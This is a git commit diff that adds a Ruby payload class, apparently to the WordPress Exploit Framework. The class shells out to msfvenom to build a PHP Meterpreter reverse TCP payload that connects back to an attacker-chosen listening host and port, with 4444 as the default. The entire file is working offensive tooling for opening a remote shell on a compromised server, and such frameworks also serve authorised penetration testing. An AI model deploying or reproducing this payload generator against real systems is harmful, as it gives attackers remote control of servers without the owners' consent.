Add Meterpreter reverse TCP payload

Author: rastating

payloads/meterpreter_reverse_tcp.rb

@@ -0,0 +1,69 @@
+require 'open3'
+
+module Wpxf::Payloads
+  # A Meterpreter reverse TCP payload generator.
+  class MeterpreterReverseTcp < Wpxf::Payload
+    include Wpxf
+    include Wpxf::Options
+
+    def initialize
+      super
+
+      register_options([
+        StringOption.new(
+          name: 'msfvenom',
+          required: true,
+          default: 'msfvenom',
+          desc: 'The path to the msfvenom executable'
+        ),
+        StringOption.new(
+          name: 'lhost',
+          required: true,
+          desc: 'The address of the host listening for a connection'
+        ),
+        PortOption.new(
+          name: 'lport',
+          required: true,
+          default: 4444,
+          desc: 'The port being used to listen for incoming connections'
+        )
+      ])
+    end
+
+    def host
+      escape_single_quotes(datastore['lhost'])
+    end
+
+    def lport
+      normalized_option_value('lport')
+    end
+
+    def msfvenom
+      normalized_option_value('msfvenom')
+    end
+
+    def raw
+      @meterpreter_payload
+    end
+
+    def prepare(mod)
+      mod.emit_info 'Generating Meterpreter payload...'
+      begin
+        stdout, stderr = Open3.capture3(msfvenom, '-p', 'php/meterpreter/reverse_tcp', "LHOST=#{host}", "LPORT=#{lport}")
+      rescue Errno::ENOENT => e
+        mod.emit_error e.to_s, true
+        mod.emit_error 'msfvenom not found - check the msfvenom payload option'
+        return false
+      end
+
+      if stdout.empty?
+        mod.emit_error 'Failed to generate the Meterpreter payload'
+        mod.emit_error stderr
+        return false
+      end
+
+      @meterpreter_payload = stdout
+      true
+    end
+  end
+end